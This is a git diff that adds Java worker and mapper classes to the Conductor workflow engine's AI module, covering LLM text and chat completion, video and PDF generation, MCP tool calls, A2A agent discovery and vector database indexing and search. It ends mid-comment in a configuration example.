+ * Licensed under the Apache License, Version 2.0 (the "License"); you may not use this file except in compliance with + * the License. You may obtain a copy of the License at + *

+ * http://www.apache.org/licenses/LICENSE-2.0 + *

+ * Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on + * an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the + * specific language governing permissions and limitations under the License. + */ +package org.conductoross.conductor.ai.tasks.mapper; + +import org.conductoross.conductor.ai.model.TextCompletion; +import org.conductoross.conductor.config.AIIntegrationEnabledCondition; +import org.springframework.context.annotation.Conditional; +import org.springframework.stereotype.Component; + +import lombok.extern.slf4j.Slf4j; + +@Component +@Conditional(AIIntegrationEnabledCondition.class) +@Slf4j +public class TextCompleteTaskMapper extends AIModelTaskMapper { + + public static final String NAME = "LLM_TEXT_COMPLETE"; + + public TextCompleteTaskMapper() { + super(NAME); + } +} diff --git a/ai/src/main/java/org/conductoross/conductor/ai/tasks/mapper/VideoGenerationTaskMapper.java b/ai/src/main/java/org/conductoross/conductor/ai/tasks/mapper/VideoGenerationTaskMapper.java new file mode 100644 index 0000000..a118c35 --- /dev/null +++ b/ai/src/main/java/org/conductoross/conductor/ai/tasks/mapper/VideoGenerationTaskMapper.java @@ -0,0 +1,37 @@ +/* + * Copyright 2026 Conductor Authors. + *

+ * Licensed under the Apache License, Version 2.0 (the "License"); you may not use this file except in compliance with + * the License. You may obtain a copy of the License at + *

+ * http://www.apache.org/licenses/LICENSE-2.0 + *

+ * Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on + * an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the + * specific language governing permissions and limitations under the License. + */ +package org.conductoross.conductor.ai.tasks.mapper; + +import org.conductoross.conductor.ai.model.VideoGenRequest; +import org.conductoross.conductor.config.AIIntegrationEnabledCondition; +import org.springframework.context.annotation.Conditional; +import org.springframework.stereotype.Component; + +import lombok.extern.slf4j.Slf4j; + +/** + * Task mapper for video generation tasks. + * + *

Maps GENERATE_VIDEO workflow tasks to system tasks. + */ +@Component +@Conditional(AIIntegrationEnabledCondition.class) +@Slf4j +public class VideoGenerationTaskMapper extends AIModelTaskMapper { + + public static final String NAME = "GENERATE_VIDEO"; + + protected VideoGenerationTaskMapper() { + super(NAME); + } +} diff --git a/ai/src/main/java/org/conductoross/conductor/ai/tasks/worker/A2AWorkers.java b/ai/src/main/java/org/conductoross/conductor/ai/tasks/worker/A2AWorkers.java new file mode 100644 index 0000000..a148f3c --- /dev/null +++ b/ai/src/main/java/org/conductoross/conductor/ai/tasks/worker/A2AWorkers.java @@ -0,0 +1,94 @@ +/* + * Copyright 2026 Conductor Authors. + *

+ * Licensed under the Apache License, Version 2.0 (the "License"); you may not use this file except in compliance with + * the License. You may obtain a copy of the License at + *

+ * http://www.apache.org/licenses/LICENSE-2.0 + *

+ * Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on + * an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the + * specific language governing permissions and limitations under the License. + */ +package org.conductoross.conductor.ai.tasks.worker; + +import org.apache.commons.lang3.StringUtils; +import org.conductoross.conductor.ai.a2a.A2AService; +import org.conductoross.conductor.ai.a2a.model.A2ATask; +import org.conductoross.conductor.ai.a2a.model.AgentCard; +import org.conductoross.conductor.ai.model.A2AAgentCardRequest; +import org.conductoross.conductor.ai.model.A2ACancelRequest; +import org.conductoross.conductor.config.AIIntegrationEnabledCondition; +import org.conductoross.conductor.core.execution.tasks.AnnotatedSystemTaskWorker; +import org.springframework.context.annotation.Conditional; +import org.springframework.stereotype.Component; + +import com.netflix.conductor.sdk.workflow.executor.task.NonRetryableException; +import com.netflix.conductor.sdk.workflow.task.OutputParam; +import com.netflix.conductor.sdk.workflow.task.WorkerTask; + +import lombok.extern.slf4j.Slf4j; + +/** + * Synchronous worker tasks for interacting with remote A2A agents — discovery and cancellation. + * + *

These are quick request/response calls, so (like {@code MCPWorkers}) they run as annotated + * system tasks. The long-running {@code AGENT} operation instead uses {@link + * org.conductoross.conductor.ai.a2a.AgentTask} for non-blocking polling. + */ +@Slf4j +@Component +@Conditional(AIIntegrationEnabledCondition.class) +public class A2AWorkers implements AnnotatedSystemTaskWorker { + + private final A2AService a2aService; + + public A2AWorkers(A2AService a2aService) { + this.a2aService = a2aService; + log.debug("A2A Workers initialized"); + } + + /** + * Discovers a remote agent by fetching its Agent Card (identity, skills, capabilities, + * endpoint). + * + * @param request the agent URL and optional headers + * @return the agent's {@link AgentCard} + */ + @WorkerTask("GET_AGENT_CARD") + public @OutputParam("agentCard") AgentCard getAgentCard(A2AAgentCardRequest request) { + requireA2a(request.getAgentType()); + if (StringUtils.isBlank(request.getAgentUrl())) { + throw new NonRetryableException("GET_AGENT_CARD requires 'agentUrl'"); + } + log.debug("Fetching agent card from {}", request.getAgentUrl()); + return a2aService.getAgentCard(request.getAgentUrl(), request.getHeaders()); + } + + /** + * Requests cancellation of a remote agent task ({@code tasks/cancel}). + * + * @param request the agent URL, the remote task id, and optional headers + * @return the updated remote {@link A2ATask} + */ + @WorkerTask("CANCEL_AGENT") + public @OutputParam("task") A2ATask cancelAgentTask(A2ACancelRequest request) { + requireA2a(request.getAgentType()); + if (StringUtils.isBlank(request.getAgentUrl())) { + throw new NonRetryableException("CANCEL_AGENT requires 'agentUrl'"); + } + if (StringUtils.isBlank(request.getTaskId())) { + throw new NonRetryableException("CANCEL_AGENT requires 'taskId'"); + } + log.debug("Canceling A2A task {} on {}", request.getTaskId(), request.getAgentUrl()); + return a2aService.cancelTask( + request.getAgentUrl(), request.getTaskId(), request.getHeaders()); + } + + private static void requireA2a(String agentType) { + if (!A2AService.isA2aAgentType(agentType)) { + throw new NonRetryableException( + "Unsupported agentType '" + agentType + "' (only 'a2a' is supported)"); + } + } +} diff --git a/ai/src/main/java/org/conductoross/conductor/ai/tasks/worker/DocumentGenWorkers.java b/ai/src/main/java/org/conductoross/conductor/ai/tasks/worker/DocumentGenWorkers.java new file mode 100644 index 0000000..8969de5 --- /dev/null +++ b/ai/src/main/java/org/conductoross/conductor/ai/tasks/worker/DocumentGenWorkers.java @@ -0,0 +1,111 @@ +/* + * Copyright 2026 Conductor Authors. + *

+ * Licensed under the Apache License, Version 2.0 (the "License"); you may not use this file except in compliance with + * the License. You may obtain a copy of the License at + *

+ * http://www.apache.org/licenses/LICENSE-2.0 + *

+ * Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on + * an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the + * specific language governing permissions and limitations under the License. + */ +package org.conductoross.conductor.ai.tasks.worker; + +import java.util.List; +import java.util.Map; +import java.util.UUID; + +import org.conductoross.conductor.ai.document.DocumentLoader; +import org.conductoross.conductor.ai.model.LLMResponse; +import org.conductoross.conductor.ai.model.MarkdownToPdfRequest; +import org.conductoross.conductor.ai.model.Media; +import org.conductoross.conductor.ai.pdf.MarkdownToPdfConverter; +import org.conductoross.conductor.config.AIIntegrationEnabledCondition; +import org.conductoross.conductor.core.execution.tasks.AnnotatedSystemTaskWorker; +import org.springframework.context.annotation.Conditional; +import org.springframework.core.env.Environment; +import org.springframework.stereotype.Component; + +import com.netflix.conductor.common.metadata.tasks.Task; +import com.netflix.conductor.sdk.workflow.executor.task.NonRetryableException; +import com.netflix.conductor.sdk.workflow.executor.task.TaskContext; +import com.netflix.conductor.sdk.workflow.task.WorkerTask; + +import lombok.extern.slf4j.Slf4j; + +import static org.apache.commons.lang3.StringUtils.isBlank; + +/** Worker for document generation tasks such as PDF generation from markdown. */ +@Slf4j +@Component +@Conditional(AIIntegrationEnabledCondition.class) +public class DocumentGenWorkers implements AnnotatedSystemTaskWorker { + + private final MarkdownToPdfConverter pdfConverter; + private final List documentLoaders; + private final String payloadStoreLocation; + + public DocumentGenWorkers( + MarkdownToPdfConverter pdfConverter, + List documentLoaders, + Environment env) { + this.pdfConverter = pdfConverter; + this.documentLoaders = documentLoaders; + this.payloadStoreLocation = + env.getProperty( + "conductor.file-storage.parentDir", + System.getProperty("user.home") + "/worker-payload/"); + log.info("Document Workers initialized"); + } + + @WorkerTask("GENERATE_PDF") + public LLMResponse generatePdf(MarkdownToPdfRequest input) { + if (isBlank(input.getMarkdown())) { + throw new NonRetryableException("markdown input is required for GENERATE_PDF task"); + } + + Task task = TaskContext.get().getTask(); + + // Convert markdown to PDF bytes + byte[] pdfBytes = pdfConverter.convert(input); + + // Determine output location + String outputLocation = input.getOutputLocation(); + if (isBlank(outputLocation)) { + outputLocation = + payloadStoreLocation + + task.getWorkflowInstanceId() + + "/" + + task.getTaskId() + + "/" + + UUID.randomUUID() + + ".pdf"; + } + + // Store via DocumentLoader + String storedLocation = storeDocument(outputLocation, pdfBytes); + + return LLMResponse.builder() + .result(Map.of("location", storedLocation, "sizeBytes", pdfBytes.length)) + .media( + List.of( + Media.builder() + .location(storedLocation) + .mimeType("application/pdf") + .build())) + .finishReason("COMPLETED") + .build(); + } + + private String storeDocument(String location, byte[] data) { + return documentLoaders.stream() + .filter(loader -> loader.supports(location)) + .findFirst() + .map(loader -> loader.upload(Map.of(), "application/pdf", data, location)) + .orElseThrow( + () -> + new NonRetryableException( + "No DocumentLoader supports output location: " + location)); + } +} diff --git a/ai/src/main/java/org/conductoross/conductor/ai/tasks/worker/LLMWorkers.java b/ai/src/main/java/org/conductoross/conductor/ai/tasks/worker/LLMWorkers.java new file mode 100644 index 0000000..0512881 --- /dev/null +++ b/ai/src/main/java/org/conductoross/conductor/ai/tasks/worker/LLMWorkers.java @@ -0,0 +1,160 @@ +/* + * Copyright 2026 Conductor Authors. + *

+ * Licensed under the Apache License, Version 2.0 (the "License"); you may not use this file except in compliance with + * the License. You may obtain a copy of the License at + *

+ * http://www.apache.org/licenses/LICENSE-2.0 + *

+ * Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on + * an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the + * specific language governing permissions and limitations under the License. + */ +package org.conductoross.conductor.ai.tasks.worker; + +import java.util.ArrayList; +import java.util.List; +import java.util.Map; + +import org.conductoross.conductor.ai.LLMs; +import org.conductoross.conductor.ai.model.AudioGenRequest; +import org.conductoross.conductor.ai.model.ChatCompletion; +import org.conductoross.conductor.ai.model.ChatMessage; +import org.conductoross.conductor.ai.model.EmbeddingGenRequest; +import org.conductoross.conductor.ai.model.ImageGenRequest; +import org.conductoross.conductor.ai.model.LLMResponse; +import org.conductoross.conductor.ai.model.TextCompletion; +import org.conductoross.conductor.ai.model.VideoGenRequest; +import org.conductoross.conductor.config.AIIntegrationEnabledCondition; +import org.conductoross.conductor.core.execution.tasks.AnnotatedSystemTaskWorker; +import org.springframework.context.annotation.Conditional; +import org.springframework.stereotype.Component; + +import com.netflix.conductor.common.config.ObjectMapperProvider; +import com.netflix.conductor.common.metadata.tasks.Task; +import com.netflix.conductor.common.metadata.tasks.TaskResult; +import com.netflix.conductor.sdk.workflow.executor.task.NonRetryableException; +import com.netflix.conductor.sdk.workflow.executor.task.TaskContext; +import com.netflix.conductor.sdk.workflow.task.OutputParam; +import com.netflix.conductor.sdk.workflow.task.WorkerTask; + +import com.fasterxml.jackson.databind.ObjectMapper; +import lombok.SneakyThrows; +import lombok.extern.slf4j.Slf4j; + +import static org.apache.commons.lang3.StringUtils.isBlank; + +@Slf4j +@Component +@Conditional(AIIntegrationEnabledCondition.class) +public class LLMWorkers implements AnnotatedSystemTaskWorker { + + private final ObjectMapper objectMapper = new ObjectMapperProvider().getObjectMapper(); + private final LLMs llm; + + public LLMWorkers(LLMs llm) { + this.llm = llm; + log.info("AI Workers initialized {}", llm.getClass()); + } + + @WorkerTask(value = "GENERATE_IMAGE") + public LLMResponse generateImage(ImageGenRequest input) { + return llm.generateImage(TaskContext.get().getTask(), input); + } + + @WorkerTask(value = "GENERATE_AUDIO") + public LLMResponse generateAudio(AudioGenRequest input) { + return llm.generateAudio(TaskContext.get().getTask(), input); + } + + @WorkerTask(value = "GENERATE_VIDEO") + @SuppressWarnings("all") + public TaskResult generateVideo(VideoGenRequest input) { + Task task = TaskContext.get().getTask(); + String jobId = (String) task.getOutputData().get("jobId"); + if (jobId == null) { + // start generation + LLMResponse response = llm.generateVideo(task, input); + TaskResult result = new TaskResult(task); + result.setCallbackAfterSeconds(5L); + result.setStatus(TaskResult.Status.IN_PROGRESS); + result.getOutputData().putAll(objectMapper.convertValue(response, Map.class)); + result.getOutputData().put("jobId", response.getJobId()); + return result; + } + input.setJobId(jobId); + LLMResponse response = llm.checkVideoStatus(task, input); + TaskResult result = new TaskResult(task); + result.setCallbackAfterSeconds(5L); + result.getOutputData().putAll(objectMapper.convertValue(response, Map.class)); + if ("COMPLETED".equals(response.getFinishReason())) { + result.setStatus(TaskResult.Status.COMPLETED); + } else if ("FAILED".equals(response.getFinishReason())) { + result.setStatus(TaskResult.Status.FAILED); + } + + return result; + } + + @WorkerTask(value = "LLM_TEXT_COMPLETE") + public LLMResponse textCompletion(TextCompletion input) { + ChatCompletion chatCompletion = new ChatCompletion(); + + boolean jsonOutput = input.isJsonOutput(); + chatCompletion.setTemperature(input.getTemperature()); + chatCompletion.setMaxResults(input.getMaxResults()); + chatCompletion.setMaxTokens(input.getMaxTokens()); + chatCompletion.setTopP(input.getTopP()); + chatCompletion.setStopWords(input.getStopWords()); + chatCompletion.setLlmProvider(input.getLlmProvider()); + chatCompletion.setModel(input.getModel()); + chatCompletion.setJsonOutput(jsonOutput); + chatCompletion.setInstructions( + input.getPromptName() != null ? input.getPromptName() : input.getPrompt()); + chatCompletion.setPromptVersion(input.getPromptVersion()); + chatCompletion.setPromptVariables(input.getPromptVariables()); + List messages = new ArrayList<>(); + messages.add( + new ChatMessage( + ChatMessage.Role.user, + "use the instructions given to generate the response.")); + chatCompletion.setMessages(messages); + return llm.chatComplete(TaskContext.get().getTask(), chatCompletion); + } + + @SneakyThrows + @WorkerTask("LLM_CHAT_COMPLETE") + public LLMResponse chatCompletion(ChatCompletion chatCompletion) { + return llm.chatComplete(TaskContext.get().getTask(), chatCompletion); + } + + @WorkerTask("LLM_GENERATE_EMBEDDINGS") + public @OutputParam("result") List generateEmbeddings(EmbeddingGenRequest input) { + if (isBlank(input.getText())) { + throw new NonRetryableException("No input text provided to generate embeddings"); + } + String llmProvider = input.getLlmProvider(); + return generateEmbeddings( + TaskContext.get().getTask(), + llmProvider, + input.getModel(), + input.getText(), + input.getDimensions()); + } + + private List generateEmbeddings( + Task task, + String embeddingModelProvider, + String embeddingModel, + String text, + Integer dimensions) { + EmbeddingGenRequest request = + EmbeddingGenRequest.builder() + .model(embeddingModel) + .dimensions(dimensions) + .text(text) + .build(); + request.setLlmProvider(embeddingModelProvider); + return llm.generateEmbeddings(task, request); + } +} diff --git a/ai/src/main/java/org/conductoross/conductor/ai/tasks/worker/MCPWorkers.java b/ai/src/main/java/org/conductoross/conductor/ai/tasks/worker/MCPWorkers.java new file mode 100644 index 0000000..d84c036 --- /dev/null +++ b/ai/src/main/java/org/conductoross/conductor/ai/tasks/worker/MCPWorkers.java @@ -0,0 +1,186 @@ +/* + * Copyright 2026 Conductor Authors. + *

+ * Licensed under the Apache License, Version 2.0 (the "License"); you may not use this file except in compliance with + * the License. You may obtain a copy of the License at + *

+ * http://www.apache.org/licenses/LICENSE-2.0 + *

+ * Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on + * an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the + * specific language governing permissions and limitations under the License. + */ +package org.conductoross.conductor.ai.tasks.worker; + +import java.util.List; +import java.util.Map; +import java.util.stream.Collectors; + +import org.conductoross.conductor.ai.mcp.MCPService; +import org.conductoross.conductor.ai.model.MCPListToolsRequest; +import org.conductoross.conductor.ai.model.MCPToolCallRequest; +import org.conductoross.conductor.config.AIIntegrationEnabledCondition; +import org.conductoross.conductor.core.execution.tasks.AnnotatedSystemTaskWorker; +import org.springframework.context.annotation.Conditional; +import org.springframework.stereotype.Component; + +import com.netflix.conductor.sdk.workflow.task.OutputParam; +import com.netflix.conductor.sdk.workflow.task.WorkerTask; + +import io.modelcontextprotocol.spec.McpSchema; +import lombok.extern.slf4j.Slf4j; + +/** + * Worker tasks for interacting with MCP (Model Context Protocol) servers. + * + *

Supports remote (HTTP/HTTPS) MCP servers. + */ +@Slf4j +@Component +@Conditional(AIIntegrationEnabledCondition.class) +public class MCPWorkers implements AnnotatedSystemTaskWorker { + + private final MCPService mcpService; + + public MCPWorkers(MCPService mcpService) { + this.mcpService = mcpService; + log.debug("MCP Workers initialized"); + } + + /** + * Lists all available tools from an MCP server. + * + *

Supports HTTP/HTTPS servers: "http://localhost:3000/sse" or "https://api.example.com/mcp" + * + * @param request MCP list tools request + * @return List of tool definitions + */ + @WorkerTask("LIST_MCP_TOOLS") + public @OutputParam("tools") List listTools(MCPListToolsRequest request) { + log.debug("Listing MCP tools from server: {}", request.getMcpServer()); + + List tools = + mcpService.listTools(request.getMcpServer(), request.getHeaders()); + + log.debug("Found {} tools from MCP server", tools.size()); + + // Convert to simplified ToolInfo for output + return tools.stream().map(ToolInfo::from).collect(Collectors.toList()); + } + + /** + * Calls a specific tool on an MCP server. + * + *

All additional input parameters (beyond mcpServer, toolName, headers) are automatically + * passed as tool arguments. + * + * @param request MCP tool call request + * @return Tool call result + */ + @WorkerTask("CALL_MCP_TOOL") + public ToolCallResult callTool(MCPToolCallRequest request) { + log.debug( + "Calling MCP tool '{}' on server: {} with args: {}", + request.getMethod(), + request.getMcpServer(), + request.getArguments()); + + Map result = + mcpService.callTool( + request.getMcpServer(), + request.getMethod(), + request.getArguments(), + request.getHeaders()); + + log.debug("MCP tool call completed. IsError: {}", result.get("isError")); + + return ToolCallResult.from(result); + } + + /** Simplified tool information for output. */ + public static class ToolInfo { + public String name; + public String description; + public Object inputSchema; + + public static ToolInfo from(McpSchema.Tool tool) { + ToolInfo info = new ToolInfo(); + info.name = tool.name(); + info.description = tool.description(); + info.inputSchema = tool.inputSchema(); + return info; + } + } + + /** Tool call result for output. */ + public static class ToolCallResult { + public List content; + public Boolean isError; + + public static ToolCallResult from(McpSchema.CallToolResult result) { + ToolCallResult callResult = new ToolCallResult(); + callResult.isError = result.isError(); + callResult.content = + result.content().stream().map(ContentItem::from).collect(Collectors.toList()); + return callResult; + } + + @SuppressWarnings("unchecked") + public static ToolCallResult from(Map resultMap) { + ToolCallResult callResult = new ToolCallResult(); + callResult.isError = (Boolean) resultMap.get("isError"); + List> contentList = + (List>) resultMap.get("content"); + callResult.content = + contentList.stream().map(ContentItem::fromMap).collect(Collectors.toList()); + return callResult; + } + } + + /** Content item in tool result. */ + public static class ContentItem { + public String type; + public String text; + public String data; + public String mimeType; + public Object parsed; // Parsed JSON content when text contains valid JSON + + public static ContentItem from(Object content) { + ContentItem item = new ContentItem(); + + if (content instanceof McpSchema.TextContent) { + McpSchema.TextContent textContent = (McpSchema.TextContent) content; + item.type = textContent.type(); + item.text = textContent.text(); + } else if (content instanceof McpSchema.ImageContent) { + McpSchema.ImageContent imageContent = (McpSchema.ImageContent) content; + item.type = imageContent.type(); + item.data = imageContent.data(); + item.mimeType = imageContent.mimeType(); + } else if (content instanceof McpSchema.EmbeddedResource) { + McpSchema.EmbeddedResource resource = (McpSchema.EmbeddedResource) content; + item.type = resource.type(); + // Handle embedded resource fields + if (resource.resource() instanceof McpSchema.TextResourceContents) { + McpSchema.TextResourceContents textResource = + (McpSchema.TextResourceContents) resource.resource(); + item.text = textResource.text(); + item.mimeType = textResource.mimeType(); + } + } + + return item; + } + + @SuppressWarnings("unchecked") + public static ContentItem fromMap(Map contentMap) { + ContentItem item = new ContentItem(); + item.type = (String) contentMap.get("type"); + item.text = (String) contentMap.get("text"); + item.data = (String) contentMap.get("data"); + item.mimeType = (String) contentMap.get("mimeType"); + item.parsed = contentMap.get("parsed"); // Extract the parsed field + return item; + } + } +} diff --git a/ai/src/main/java/org/conductoross/conductor/ai/tasks/worker/VectorDBWorkers.java b/ai/src/main/java/org/conductoross/conductor/ai/tasks/worker/VectorDBWorkers.java new file mode 100644 index 0000000..2783ff2 --- /dev/null +++ b/ai/src/main/java/org/conductoross/conductor/ai/tasks/worker/VectorDBWorkers.java @@ -0,0 +1,177 @@ +/* + * Copyright 2026 Conductor Authors. + *

+ * Licensed under the Apache License, Version 2.0 (the "License"); you may not use this file except in compliance with + * the License. You may obtain a copy of the License at + *

+ * http://www.apache.org/licenses/LICENSE-2.0 + *

+ * Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on + * an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the + * specific language governing permissions and limitations under the License. + */ +package org.conductoross.conductor.ai.tasks.worker; + +import java.util.List; +import java.util.Map; +import java.util.Optional; +import java.util.UUID; + +import org.conductoross.conductor.ai.LLMs; +import org.conductoross.conductor.ai.model.EmbeddingGenRequest; +import org.conductoross.conductor.ai.model.IndexDocInput; +import org.conductoross.conductor.ai.model.IndexedDoc; +import org.conductoross.conductor.ai.model.StoreEmbeddingsInput; +import org.conductoross.conductor.ai.model.VectorDBInput; +import org.conductoross.conductor.ai.vectordb.VectorDBs; +import org.conductoross.conductor.config.AIIntegrationEnabledCondition; +import org.conductoross.conductor.core.execution.tasks.AnnotatedSystemTaskWorker; +import org.springframework.context.annotation.Conditional; +import org.springframework.stereotype.Component; + +import com.netflix.conductor.common.metadata.tasks.Task; +import com.netflix.conductor.sdk.workflow.executor.task.NonRetryableException; +import com.netflix.conductor.sdk.workflow.executor.task.TaskContext; +import com.netflix.conductor.sdk.workflow.task.OutputParam; +import com.netflix.conductor.sdk.workflow.task.WorkerTask; + +import com.fasterxml.jackson.core.type.TypeReference; +import lombok.extern.slf4j.Slf4j; + +import static org.apache.commons.lang3.StringUtils.isBlank; + +@Slf4j +@Component +@Conditional(AIIntegrationEnabledCondition.class) +public class VectorDBWorkers implements AnnotatedSystemTaskWorker { + + private static final TypeReference> MAP_OF_STRING_TO_OBJ = + new TypeReference>() {}; + + private final VectorDBs vectorDBs; + private final LLMs llm; + + public VectorDBWorkers(VectorDBs vectorDBs, LLMs llm) { + this.vectorDBs = vectorDBs; + this.llm = llm; + log.info("VectorDBWorkers initialized with LLMs: {} and vectorDBs: {}", llm, vectorDBs); + } + + @WorkerTask("LLM_INDEX_TEXT") + public void indexText(IndexDocInput input) { + if (isBlank(input.getDocId())) { + throw new NonRetryableException("docId is empty"); + } + + try { + String chunk = input.getText(); + EmbeddingGenRequest request = + EmbeddingGenRequest.builder() + .model(input.getEmbeddingModel()) + .dimensions(input.getDimensions()) + .text(chunk) + .build(); + request.setLlmProvider(input.getEmbeddingModelProvider()); + List embeddings = llm.generateEmbeddings(TaskContext.get().getTask(), request); + + vectorDBs.storeEmbeddings( + input.getVectorDB(), + TaskContext.get(), + input.getIndex(), + input.getNamespace(), + chunk, + input.getDocId(), + input.getDocId(), + embeddings, + input.getMetadata()); + } catch (Exception e) { + log.error("Error while indexing text: {}", e.getMessage(), e); + throw e; + } + } + + @WorkerTask("LLM_STORE_EMBEDDINGS") + public @OutputParam("result") int storeEmbeddings(StoreEmbeddingsInput input) { + String id = Optional.ofNullable(input.getId()).orElse(UUID.randomUUID().toString()); + try { + return vectorDBs.storeEmbeddings( + input.getVectorDB(), + TaskContext.get(), + input.getIndex(), + input.getNamespace(), + "", + "", + id, + input.getEmbeddings(), + input.getMetadata()); + } catch (Exception e) { + log.error("Error while storing LLM embeddings: {}", e.getMessage(), e); + throw e; + } + } + + @WorkerTask("LLM_SEARCH_EMBEDDINGS") + public @OutputParam("result") List searchUsingEmbeddings( + VectorDBInput embeddingsInput) { + try { + return vectorDBs.searchEmbeddings( + embeddingsInput.getVectorDB(), + TaskContext.get(), + embeddingsInput.getIndex(), + embeddingsInput.getNamespace(), + embeddingsInput.getEmbeddings(), + embeddingsInput.getMaxResults()); + } catch (Exception e) { + log.error("Error while getting LLM embeddings: {}", e.getMessage(), e); + throw e; + } + } + + // Legacy + @Deprecated + @WorkerTask("LLM_GET_EMBEDDINGS") + public @OutputParam("result") List searchUsingEmbeddingsDeprecated( + VectorDBInput embeddingsInput) { + return searchUsingEmbeddings(embeddingsInput); + } + + @WorkerTask(value = "LLM_SEARCH_INDEX") + public List searchIndex(VectorDBInput input) { + try { + List embeds = + generateEmbeddings( + TaskContext.get().getTask(), + input.getEmbeddingModelProvider(), + input.getEmbeddingModel(), + input.getQuery(), + input.getDimensions()); + return vectorDBs.searchEmbeddings( + input.getVectorDB(), + TaskContext.get(), + input.getIndex(), + input.getNamespace(), + embeds, + input.getMaxResults()); + + } catch (Exception e) { + log.error("Error while doing VectorDB index search: {}", e.getMessage(), e); + throw e; + } + } + + private List generateEmbeddings( + Task task, + String embeddingModelProvider, + String embeddingModel, + String text, + Integer dimensions) { + EmbeddingGenRequest request = + EmbeddingGenRequest.builder() + .model(embeddingModel) + .dimensions(dimensions) + .text(text) + .build(); + request.setLlmProvider(embeddingModelProvider); + return llm.generateEmbeddings(task, request); + } +} diff --git a/ai/src/main/java/org/conductoross/conductor/ai/vectordb/VectorDB.java b/ai/src/main/java/org/conductoross/conductor/ai/vectordb/VectorDB.java new file mode 100644 index 0000000..be16cb0 --- /dev/null +++ b/ai/src/main/java/org/conductoross/conductor/ai/vectordb/VectorDB.java @@ -0,0 +1,49 @@ +/* + * Copyright 2026 Conductor Authors. + *

+ * Licensed under the Apache License, Version 2.0 (the "License"); you may not use this file except in compliance with + * the License. You may obtain a copy of the License at + *

+ * http://www.apache.org/licenses/LICENSE-2.0 + *

+ * Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on + * an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the + * specific language governing permissions and limitations under the License. + */ +package org.conductoross.conductor.ai.vectordb; + +import java.util.List; +import java.util.Map; + +import org.conductoross.conductor.ai.model.IndexedDoc; + +public abstract class VectorDB { + + protected String name; + protected String type; + + public VectorDB(String name, String type) { + this.name = name; + this.type = type; + } + + public String getName() { + return name; + } + + public String getType() { + return type; + } + + public abstract int updateEmbeddings( + String indexName, + String namespace, + String doc, + String parentDocId, + String id, + List embeddings, + Map metadata); + + public abstract List search( + String indexName, String namespace, List embeddings, int maxResults); +} diff --git a/ai/src/main/java/org/conductoross/conductor/ai/vectordb/VectorDBConfig.java b/ai/src/main/java/org/conductoross/conductor/ai/vectordb/VectorDBConfig.java new file mode 100644 index 0000000..5f17c30 --- /dev/null +++ b/ai/src/main/java/org/conductoross/conductor/ai/vectordb/VectorDBConfig.java @@ -0,0 +1,21 @@ +/* + * Copyright 2026 Conductor Authors. + *

+ * Licensed under the Apache License, Version 2.0 (the "License"); you may not use this file except in compliance with + * the License. You may obtain a copy of the License at + *

+ * http://www.apache.org/licenses/LICENSE-2.0 + *

+ * Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on + * an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the + * specific language governing permissions and limitations under the License. + */ +package org.conductoross.conductor.ai.vectordb; + +/** + * Marker interface for vector database configuration. Implementations provide configuration for + * specific vector database types. + */ +public interface VectorDBConfig { + T get(); +} diff --git a/ai/src/main/java/org/conductoross/conductor/ai/vectordb/VectorDBInstanceConfig.java b/ai/src/main/java/org/conductoross/conductor/ai/vectordb/VectorDBInstanceConfig.java new file mode 100644 index 0000000..b766caf --- /dev/null +++ b/ai/src/main/java/org/conductoross/conductor/ai/vectordb/VectorDBInstanceConfig.java @@ -0,0 +1,223 @@ +/* + * Copyright 2026 Conductor Authors. + *

+ * Licensed under the Apache License, Version 2.0 (the "License"); you may not use this file except in compliance with + * the License. You may obtain a copy of the License at + *

+ * http://www.apache.org/licenses/LICENSE-2.0 + *

+ * Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on + * an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the + * specific language governing permissions and limitations under the License. + */ +package org.conductoross.conductor.ai.vectordb; + +import java.util.HashMap; +import java.util.List; +import java.util.Map; + +import org.conductoross.conductor.ai.vectordb.mongodb.MongoDBConfig; +import org.conductoross.conductor.ai.vectordb.pinecone.PineconeConfig; +import org.conductoross.conductor.ai.vectordb.postgres.PostgresConfig; +import org.conductoross.conductor.ai.vectordb.sqlite.SqliteConfig; +import org.springframework.boot.context.properties.ConfigurationProperties; +import org.springframework.stereotype.Component; + +import lombok.extern.slf4j.Slf4j; + +/** + * Main configuration class for vector database instances. Supports multiple named instances of + * different vector database types. + * + *

Configuration example: + * + * 

+ * conductor.vectordb.instances:
+ *   - name: "postgres-prod"
+ *     type: "postgres"
+ *     postgres:
+ *       datasourceURL: "jdbc:postgresql://prod:5432/vectors"
+ *       user: "admin"
+ *       password: "secret"
+ *   - name: "pinecone-embeddings"
+ *     type: "pinecone"
+ *     pinecone:
+ *       apiKey: "your-api-key"
+ *
